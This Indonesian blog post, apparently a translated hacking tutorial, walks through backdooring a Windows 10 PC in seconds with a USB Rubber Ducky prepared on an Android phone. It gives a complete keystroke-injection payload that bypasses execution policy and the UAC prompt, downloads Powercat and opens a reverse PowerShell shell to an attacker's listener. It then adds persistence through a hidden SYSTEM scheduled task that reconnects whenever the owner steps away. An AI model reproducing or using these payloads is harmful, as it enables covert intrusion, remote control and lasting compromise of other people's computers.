Cara Backdoor Windows 10 Menggunakan Android & USB Rubber Ducky
Dengan ponsel Android dan USB flash drive, hacker dapat meretas komputer dengan Windows 10 dalam waktu kurang dari 15 detik. Setelah shell root telah dibuat, permanen backdoor dapat dikonfigurasikan dengan hanya dua perintah sederhana dan dapat melewati/bypass antivirus dan Windows Defender.
Bagaimana Cara Kerja Serangan ini?
Powercat merupakan modul PowerShell berfitur lengkap. Powercat beroperasi mirip dengan Netcat dan memungkinkan pengguna PowerShell untuk membuat TCP dan UDP dengan baris perintah sederhana. Payload PowerShell akan dibuat untuk mengunduh, mengimpor, dan mengeksekusi Powercat dalam satu perintah. Kemudian, akan dikodekan ke dalam format biner USB Rubber Ducky agar dapat dimengerti.
Menggunakan USB Rubber Ducky, Powercat dijalankan di Windows 10 sebagai administrator yang dengan cepat membuat shell root melalui listener Netcat dari penyerang. Pada saat itu, mode persistance dikonfigurasi menggunakan perintah schtasks, yang dirancang oleh Microsoft untuk mengotomatiskan tugas dan perintah di Windows 10.
Prasyarat
Ada sedikit perangkat keras yang diperlukan untuk melakukan peretasan ini yang mungkin sudah ada di antara kamu. Di bawah ini adalah empat item utama.
1. USB Rubber Ducky
USB Rubber Ducky menyebut dirinya sebagai keyboard ketika dimasukkan ke dalam komputer, kemudian mulai mengetik perintah secara otomatis yang telah diprogram ke dalam payload-nya. Payload dapat disesuaikan untuk melakukan segudang eksploitasi lanjutan. Harga untuk USB Rubber Ducky mulai dari $ 45.
Sebagai alternatif dari USB Rubber Ducky, proyek NetHunter dan DroidDucky dapat mempersenjatai perangkat Android menjadi alat injeksi keystroke. Sayangnya, mereka membutuhkan modifikasi sistem operasi Android yang berada di luar cakupan artikel ini. Baik NetHunter dan DroidDucky adalah proyek yang fantastis bagi mereka yang mau mengubah sistem operasi ponsel mereka. Bayangkan menghubungkan ponsel Android ke komputer mana pun dan menjalankannya dengan muatan PowerShell yang rumit dalam hitungan detik - tidak perlu USB Rubber Ducky.
2. Android Device with UserLAnd Installed
Ponsel atau tablet Android apa pun yang mampu menjalankan aplikasi UserLAnd akan cocok. Perangkat tidak perlu di-root. Yang diperlukan hanyalah akses ke internet melalui Wi-Fi dan aplikasi UserLAnd yang disebutkan di atas.
3. OTG Adapter (kondisional)
Setelah membuat muatan PowerShell (pada langkah selanjutnya), lalu perlu dipindahkan ke kartu microSD di UBS Rubber Ducky. Beberapa model ponsel dan tablet Android dilengkapi dengan slot ekspansi microSD untuk penyimpanan lebih besar, jadi jika kamu memilikinya, kamu dapat melakukannya dengan mentransfer file dengan cara tersebut.
Jika perangkat kamu tidak memiliki slot microSD, maka kamu memerlukan adaptor On-The-Go (OTG), yang memungkinkanmu menghubungkan kartu memori ke perangkat melalui port pengisian daya. Solusi all-in-one merupakan pembaca Monoprice microSD USB-C, jika ponselmu memiliki port USB Type-C. Lexar membuat produk serupa untuk port Micro-USB.
Di Amazon: Pembaca microSD USB-C Monoprice
Di Amazon: Pembaca microSD Lexar dengan Konektor Micro-USB
Karena USB Rubber Ducky dilengkapi dengan adaptor microSD-to-USB, kamu dapat memilih adaptor OTG yang memiliki ujung USB Type-A untuk menyambungkan adaptor microSD. Jika kamu memiliki port USB-C pada perangkat Androidmu, Aukey membuat adaptor yang baik untuk port Micro-USB, ada banyak opsi murah yang tersedia, seperti kabel Ugreen.
Di Amazon: Aukey USB-C ke USB 3.0 Adapter
Di Amazon: Adaptor Ugreen Micro-USB ke USB 2.0
Gambar oleh tokyoneon / Null Byte
Sebagai alternatif, kombinasi adaptor apa pun dapat menyelesaikannya. Seperti yang kamu lihat di bawah, saya menggunakan adaptor Aukey yang dipasangkan dengan Anker Portable Card Reader.
Gambar oleh tokyoneon / Null Byte
4. Virtual Private Server (Opsional)
Server pribadi virtual (VPS) diperlukan atau tidak akan tergantung pada skenario serangan. Jika jaringan Wi-Fi dibagi dengan perangkat target, maka memasukkan alamat IP lokal penyerang ke payload akan berfungsi dengan baik. Dalam skenario lain, mungkin diperlukan untuk menggunakan server VPS atau Ngrok.
Langkah 1 Memulai dengan UserLAnd
Sebelum mulai, kamu harus memeriksa panduan Distortion tentang mengubah ponsel Android menjadi perangkat peretasan tanpa root, serta panduan saya tentang meretas kata sandi Wi-Fi WPA2 menggunakan Android, karena mereka mencakup dasar-dasar UserLAnd dan mengatur Kali Linux, Ngrok , dan menginstal perangkat lunak penting yang akan diperlukan untuk mengikuti artikel ini.
Kamu perlu menginstal dan mengonfigurasi UserLAnd, membuat sistem file baru, dan terhubung ke OS melalui SSH dengan ConnectBot (atau JuiceSSH dan klien SSH bawaan).
Langkah 2 Perbarui Sistem & Instal Perangkat Lunak Esensial
Seperti perangkat berbasis Unix apa pun pastikan paket yang diinstal sepenuhnya diperbarui sebelum melanjutkan proyek ini. Pastikan untuk memperbarui sistem dan menginstal software penting, serta menginstal Java yang diperlukan untuk muatan USB Rubber Ducky, menggunakan perintah di bawah ini.
~$ sudo apt-get update && sudo apt-get dist-upgrade
Perintah ini dapat memakan waktu beberapa menit, tergantung pada kecepatan internet dan CPU Android yang tersedia. Perangkat Android yang lebih lama akan membutuhkan waktu lebih lama untuk mengunduh dan mendekompresi paket.
Untuk menginstal perangkat lunak penting, gunakan perintah di bawah ini.
~$ sudo apt-get update && sudo apt-get install net-tools netcat gnupg curl wget git nano screen
Java diperlukan untuk mengkompilasi muatan rubber ducky. Untuk menginstalnya, gunakan perintah di bawah ini.
~$ sudo apt-get install default-jre-headless
Terakhir, reboot perangkat Android untuk memastikan semua paket dan pembaruan kernel mulai berlaku saat Android melakukan booting ke dalam UserLAnd Kali OS.
Langkah 3 Mulai Netcat Listener
Berdasarkan skenario serangan, ada beberapa cara untuk mengatur Netcat listener yang akan memungkinkan akses jarak jauh ke komputer Windows target.
• Alamat IP Lokal. Jika komputer target berada di jaringan Wi-Fi yang sama dengan perangkat Android, kamu dapat memulai Netcat listener di OS UserLAnd Kali. Meskipun bersifat pribadi dan cepat, metode ini tidak ideal. Jika target terputus dari jaringan Wi-Fi bersama, koneksi Netcat akan terputus dan tidak akan ada cara mengakses perangkat saat bergerak di antara jaringan yang berbeda.
• Server Pribadi Virtual. VPS ideal untuk target peretasan jarak jauh karena mereka bergerak di antara jaringan Wi-Fi yang berbeda di mana pun di dunia. Dalam skenario ini, penyerang akan membeli VPS dan SSH murah. Netcat dan Layar akan dipasang secara permanen ke dalam komputer Windows yang diretas yang dapat diatur sepenuhnya dengan Android.
• Ngrok. Dalam hal ini, Ngrok akan meneruskan permintaan kembali ke perangkat Android penyerang. Akun Ngrok gratis tidak memungkinkan pengguna untuk mendaur ulang subdomain jadi ini hanya akan memungkinkan untuk bertahan sampai server Ngrok dihentikan pada perangkat Android. Meskipun memungkinkan untuk menjaga server dan berjalan di Android untuk jangka waktu yang lama, itu tidak bisa dihindari untuk akhirnya berakhir ketika Android reboot atau diam-diam menutup aplikasi UserLAnd yang berjalan di latar belakang.
Bagaimanapun juga, hal tersebut merupakan ide yang baik untuk mengatur Layar sehingga sesi terminal tetap ada meskipun koneksi SSH ditutup. yang memungkinkan pengguna untuk mengelola beberapa sesi terminal dalam konsol yang sama.
Untuk memulai sesi Layar baru, cukup ketik layar.
~$ screen
Kemudian, gunakan perintah ifconfig -a untuk mengidentifikasi alamat IP lokal yang digunakan oleh sistem. IP ini akan diperlukan pada langkah selanjutnya saat membuat payload.
~$ ifconfig -a
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.208 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 ::::: prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 95745 bytes 115985231 (110.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 44735 bytes 4289090 (4.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Di OS Kali UserLAnd, akan ada banyak antarmuka yang tersedia. Antarmuka "wlan0" atau "wlan1" kemungkinan besar akan menampung perangkat alamat IP lokal (192.168.0.208). Sebaliknya, pengguna VPS akan menanamkan alamat IP eksternal yang sama yang digunakan saat SSHing ke server. Pengguna Ngrok harus menyiapkan server dan memasukkan URL ke payload.
Lalu, mulai Netcat listener dengan menggunakan perintah di bawah ini.
~$ netcat -vv -l -p 1234
Menggunakan port (-p) 1234, Netcat akan mendengarkan (-l) pada setiap antarmuka yang tersedia. -Vv (verbose) akan mencetak alamat IP target di terminal ketika koneksi baru dibuat.
Langkah 4 Buat Payload
Setelah Android reboot, jalankan aplikasi UserLAnd dan SSH ke sistem Kali baru. Gunakan nano untuk membuat file "payload.txt" baru di direktori home (~ /). File ini akan berisi muatan payload rubber ducky dalam teks biasa.
~$ nano ~/payload.txt
Komentar (REM) telah ditambahkan untuk menjelaskan apa yang dilakukan oleh muatan setiap baris.
REM This first delay stalls the Ducky for 5.5 seconds to give the target
REM operating system some time to mount the USB as a keyboard device.
DELAY 5500
REM Opens the Windows Run prompt.
GUI r
REM Delays .7 seconds to give the Run prompt time to open.
DELAY 700
REM Types the PowerShell payload.
STRING powershell /w 1 /C $a=$env:TEMP;Set-ExecutionPolicy Bypass;wget https://cutt.ly/cW13i -o $a\d.ps1;ipmo $a\d.ps1;powercat -c 192.168.0.208 -p 1234 -e powershell
REM Presses Ctrl + Shirt + Enter to execute the PowerShell with administrative privileges.
CTRL-SHIFT ENTER
REM Delay .85 seconds to give the UAC prompt time to open.
DELAY 850
REM Presses Alt + Y to bypass UAC.
ALT y
Ada banyak hal yang terjadi di PowerShell one-liner. Ada beberapa perintah yang diikat bersama dan dipisahkan oleh titik koma.
• $a=$env: TEMP - Direktori temp target akan disetel ke variabel $a. Variabel ini dipanggil dua kali kemudian dalam skrip. Pertama, bertindak sebagai direktori keluaran untuk powercat.ps1 dan sekali lagi dipanggil saat mengimpornya. Menggunakan satu huruf $a variabel membantu mempersingkat panjang keseluruhan payload; Ini lebih efektif daripada menggunakan "C:\Users \% USERNAME%\AppData\Local\Temp" beberapa kali dalam payload.
• Set-ExecutionPolicy Bypass - Set-ExecutionPolicy adalah fitur keamanan PowerShell yang mencegah banyak muatan PowerShell serupa dieksekusi. Dalam beberapa tes, saya hanya menemukan pengaturan -ExecutionPolicy tidak cukup untuk mem-bypass fitur keamanan ini. Sebagai administrator (root), kebijakan ini dapat dilewati.
• wget https://cutt.ly/cW13i -o $a\d.ps1 - PowerShell diperintahkan untuk memohon permintaan web (wget) dan mengambil powercat.ps1 dengan URL cutt.ly yang dipersingkat. URL ini terhubung langsung ke halaman Powercat GitHub tetapi dapat diubah menjadi URL lengkap atau URL singkat lainnya. Powercat.ps1 disimpan (-o) ke direktori temp ($ a) dengan nama file "d.ps1". Nama file disingkat menjadi satu huruf untuk menjaga muatan Ducky sesingkat mungkin.
• ipmo $ a \ d.ps1 - Fungsi Impor-Modul PowerShell disebut menggunakan alias ip mo. Sekali lagi, menggunakan versi perintah yang lebih pendek untuk menjaga muatan Ducky tetap pendek. Powercat.ps1 diimpor.
• powercat -c 192.168.0.208 -p 1234 -e powershell. Akhirnya, Powercat dieksekusi dan diinstruksikan untuk menghubungkan (-c) ke server penyerang (192.168.0.208) pada port (-p) 1234 dan mengeksekusi (-e) PowerShell saat koneksi terjalin. Ini secara efektif memberikan akses jarak jauh penyerang ke terminal PowerShell root.
Komentar REM dapat tetap berada dalam payload dan tidak akan mempengaruhi input keystroke. Untuk menyimpan dan keluar dari terminal nano, tekan Ctrl-x, lalu y, lalu Enter.
Langkah 5 Masukkan kode muatannya
Payload USB Rubber Ducky tidak dapat dimuat ke kartu microSD dalam bentuk teks biasa. Sebagai gantinya, Hak5 Duck Encoder akan digunakan untuk mengubah muatan teks biasa menjadi format biner.
Untuk mengkloning repositori Duck Encoder, gunakan perintah di bawah ini.
~$ git clone https://github.com/hak5darren/USB-Rubber-Ducky/
Ubah (cd) ke dalam direktori Encoder / yang baru dibuat.
~$ cd USB-Rubber-Ducky/Encoder/
Dengan mengkodekan payload.txt menggunakan perintah di bawah ini. Perintah ini akan menggunakan encoder.jar untuk mengubah file input (-i) menjadi biner output "inject.bin" (-o) yang diperlukan. Nama file output tidak sembarangan dan harus dinamai "inject.bin" agar Ducky melakukan serangan injeksi keystroke.
~$ java -jar encoder.jar -i ~/payload.txt -o inject.bin
Hak5 Duck Encoder 2.6.4
Loading File ..... [ OK ]
Loading Keyboard File ..... [ OK ]
Loading Language File ..... [ OK ]
Loading DuckyScript ..... [ OK ]
DuckyScript Complete..... [ OK ]
Setelah selesai, akan ada file "inject.bin" baru di direktori Encoder. Hal ini dapat diverifikasi menggunakan perintah ls-l di bawah ini.
~$ ls -l
-rw-r--r--. 1 root root 1466 Jan 11 11:39 README
-rw-r--r--. 1 root root 57535 Jan 11 11:39 encoder.jar
-rw-r--r--. 1 root root 86 Jan 12 01:57 inject.bin
drwxr-xr-x. 2 root root 4096 Jan 11 11:39 resources
drwxr-xr-x. 2 root root 4096 Jan 11 11:39 src
Langkah 6 Hubungkan MicroSD Ducky ke Perangkat Android
Menggunakan adaptor pembaca kartu, slot kartu microSD internal, atau adaptor OTG dengan pembaca kartu, masukkan kartu microSD Ducky ke perangkat Android. Konten file microSD dapat dilihat menggunakan aplikasi Unduh Android.
Setelah beberapa detik, perangkat yang dapat dilepas baru akan dapat diakses melalui aplikasi Unduh (contoh). Arahkan kembali ke terminal Kali OS. OS Kali tidak akan memiliki akses ke perangkat penyimpanan eksternal (yaitu, kartu microSD), jadi "inject.bin" pertama-tama harus disalin (cp) ke direktori /sdcard/Download/, kemudian disalin ke microSD menggunakan OS Android.
~$ cp ~/USB-Rubber-Ducky/Encoder/inject.bin /sdcard/Download/
Dan itu sekarang tersedia di aplikasi Unduh.
Sorot "inject.bin" dan ketuk tombol "Copy to". Kemudian, salin ke kartu microSD dan amankan microSD dari perangkat Android.
Langkah 7 Mulai Peretasan
Masukkan USB Rubber Ducky ke mesin target Windows 10 dan koneksi baru ke perangkat Android akan dibuat.
~$ nc -vv -l -p 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connection from 192.168.0.33.
Ncat: Connection from 192.168.0.33:49672.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>
Netcat akan melaporkan "Koneksi dari xx.xx.xx.xx" baru yang berisi alamat IP target. Menjalankan perintah seperti ls atau pwd akan mendaftarkan file di direktori saat ini atau masing-masing mencetak nama direktori saat ini. Pwnage dapat dimulai.
Langkah 8 Membangun persistance (Opsional)
Hal pertama yang harus dilakukan setelah membuat shell terbalik adalah mengatur persistance jika koneksi saat ini terputus. Ini adalah langkah opsional tetapi disarankan jika eksploitasi jangka panjang diinginkan. Di Windows 10, ada beberapa cara membangun persistance. Di bawah ini adalah satu opsi.
Untuk memulai, perintah schtasks dapat digunakan untuk menjadwalkan tugas untuk Windows 10 untuk secara otomatis melakukan. Misalnya, Windows 10 dapat dihubungkan ke server penyerang setiap X menit. X menjadi jumlah waktu yang sewenang-wenang, mis. 10 menit atau 120 menit.
Untuk menyiasati target melihat terminal pop-up kedua yang tidak dapat diubah yang dibuat oleh PowerShell, schtasks memiliki fungsi yang berguna untuk menjalankan perintah hanya jika komputer dalam keadaan diam. Jadi, jika layar sudah mati atau screensaver sedang berjalan, hanya itu yang akan mencoba koneksi ke server penyerang. Ini sangat ideal untuk menjalankan terminal sembul hanya jika pemilik PC jauh dari perangkat.
Perintah schtasks memiliki batas ~ 175 karakter yang dapat membuat menjalankan perintah panjang menjadi menantang. Untuk menyiasatinya, pertama-tama buat "backdoor.ps1" yang berisi unduhan Powercat, impor, jalankan perintah.
>echo"IEX(New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.0.208 -p 2 -e powershell" > C:\ProgramData\Microsoft\Windows\backdoor.ps1
Direktori Windows \ sedang digunakan untuk menyimpan backdoor.ps1 tetapi lokasi ini sepenuhnya opsional. Direktori dan nama file dapat diubah untuk lebih menyamarkan lokasi skrip dan mencegah target dari tersandung padanya. Demikian juga, nomor port (-p 2) dapat diubah ke port yang berbeda.
Kemudian, gunakan schtasks untuk menjalankan "backdoor.ps1" ketika komputer menjadi diam.
> schtasks /create /f /ru "NT AUTHORITY\SYSTEM" /tn "backdoor" /tr "powershell -w 1 -ep bypass C:\ProgramData\Microsoft\Windows\backdoor.ps1" /sc onidle /i 1
SUCCESS: The scheduled task "backdoor" has successfully been created.
Penjadwal Tugas (schtasks) akan membuat tugas dengan nama (/tn) "backdoor.". Tugas untuk menjalankan (/tr) akan menjalankan skrip backdoor.ps1. Frekuensi (/ sc) dengan mana perintah dijalankan diatur ke "onidle" yang menginstruksikan komputer untuk menjalankan perintah hanya ketika perangkat idle. Akhirnya, jumlah waktu (dalam menit) ditentukan oleh argumen / i dan diatur ke 1 menit.
Singkatnya, satu menit setelah target menjauh dari komputer, ia akan berusaha untuk mengeksekusi backdoor.ps1 yang tertanam dalam direktori Microsoft \. Perlu diingat, ketika target kembali, koneksi akan secara otomatis diakhiri oleh Windows 10. Koneksi hanya akan tetap ada saat target jauh dari komputer. Cukup restart server Netcat dan tunggu komputer menjadi idle lagi; koneksi baru akan dicoba setiap saat.
Sekarang, menggunakan sesi Layar lain, buat Netcat listener baru dan tunggu mesin Windows menjadi diam.
~$ nc -vv -l -p 2
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connection from 192.168.0.33.
Ncat: Connection from 192.168.0.33:24276.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>
Ada banyak kesenangan yang bisa didapat dengan schtasks. Untuk lebih lanjut tentang perintah yang tersedia untuk schtasks /? dan schtasks / Buat /? perintahnya seperti yang ditunjukkan di bawah ini.
> schtasks /Create /?




0 Comment:
Post a Comment